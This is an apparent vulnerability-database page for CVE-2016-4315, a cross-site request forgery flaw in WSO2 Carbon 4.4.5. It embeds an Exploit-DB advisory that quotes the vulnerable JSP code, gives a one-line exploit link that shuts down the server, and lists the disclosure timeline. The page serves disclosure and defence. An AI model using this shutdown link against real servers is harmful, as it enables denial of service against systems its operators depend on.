CVE-2016-4315

medium
Published 2017-02-17 ยท Modified 2026-05-13
CVSS v3
5.7
CVSS:3.0/AV:N/AC:L/PR:L/UI:R/S:U/C:N/I:N/A:H
CVSS v4 NEW
โ€”
not yet in upstream
VIR risk
6.7

Description

Cross-site request forgery (CSRF) vulnerability in WSO2 Carbon 4.4.5 allows remote attackers to hijack the authentication of privileged users for requests that shutdown a server via a shutdown action to server-admin/proxy_ajaxprocessor.jsp.

Predictions

Exploit likelihood
67%
Patch ETA
โ€”

Heuristic predictions, AS-IS, for prioritization only.

Mitigations

No mitigations published for this CVE yet.

The vendor-content worker queues fetches as references arrive (check back in a few minutes). Or โ€” if you've already worked around this in production โ€” publish your fix to the community-verified tier.

โœš Propose a mitigation on Community โ†’ Mitigations published via the community go through AI scoring + 2 human reviewers + 7-day silent objection window before landing here with source_tier=community-verified.

Exploits

Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.

Exploit-DB

EDB-40242 webapps jsp verified text ยท 3 KB
hyp3rlinx ยท 2016-08-16

WSO2 Carbon 4.4.5 - Denial of Service / Cross-Site Request Forgery

text exploit Source: Exploit-DB
[+] Credits: John Page aka HYP3RLINX

[+] Website: hyp3rlinx.altervista.org

[+] Source:  http://hyp3rlinx.altervista.org/advisories/WSO2-CARBON-v4.4.5-CSRF-DOS.txt

[+] ISR: ApparitionSec


Vendor:
============
www.wso2.com


Product:
==================
Ws02Carbon v4.4.5

WSO2 Carbon is the core platform on which WSO2 middleware products are built. It is based on Java OSGi technology, which allows
components to be dynamically installed, started, stopped, updated, and uninstalled, and it eliminates component version conflicts.
In Carbon, this capability translates into a solid core of common middleware enterprise components, including clustering, security,
logging, and monitoring, plus the ability to add components for specific features needed to solve a specific enterprise scenario.


Vulnerability Type:
=================================
Cross Site Request Forgery / DOS


CVE Reference:
==============
CVE-2016-4315


Vulnerability Details:
=====================

The attack involves tricking a privileged user to initiate a request by clicking a malicious link or visiting an evil webpage to
shutdown WSO2 Servers.


References:
https://docs.wso2.com/display/Security/Security+Advisory+WSO2-2016-0101


The getSafeText() Function and conditional logic below processes the "action" parameter with no check for inbound CSRF attacks.

String cookie = (String) session.getAttribute(ServerConstants.ADMIN_SERVICE_COOKIE);
String action = CharacterEncoder.getSafeText(request.getParameter("action"));
ServerAdminClient client = new ServerAdminClient(ctx, backendServerURL, cookie, session);

try {   
if ("restart".equals(action)) {
    client.restart();
 } else if ("restartGracefully".equals(action)) {
   client.restartGracefully();
 } else if ("shutdown".equals(action)) {
     client.shutdown();
  } else if ("shutdownGracefully".equals(action)) {
      client.shutdownGracefully();
    }
 } catch (Exception e) {
  response.sendError(500, e.getMessage());
   return;
 }



Exploit code(s):
===============
      
Shutdown the Carbon server

<a href="https://victim-server:9443/carbon/server-admin/proxy_ajaxprocessor.jsp?action=shutdown">Shut it down!</a>


Disclosure Timeline:
==========================================
Vendor Notification: May 6, 2016
Vendor Acknowledgement: May 6, 2016
Vendor Fix / Customer Alerts: June 30, 2016
August 12, 2016  : Public Disclosure


Exploitation Technique:
=======================
Remote


Severity Level:
================
Medium


[+] Disclaimer
The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and
that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit
is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility
for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information
or exploits by the author or elsewhere.

HYP3RLINX

Application impact

VendorProductVersionsFixed
wso2carbon4.4.5

References

CWEs

CWE-352

Community-verified mitigations for this CVE will appear above when contributors publish them.

Verify integrity in audit chain (admin only). AS-IS.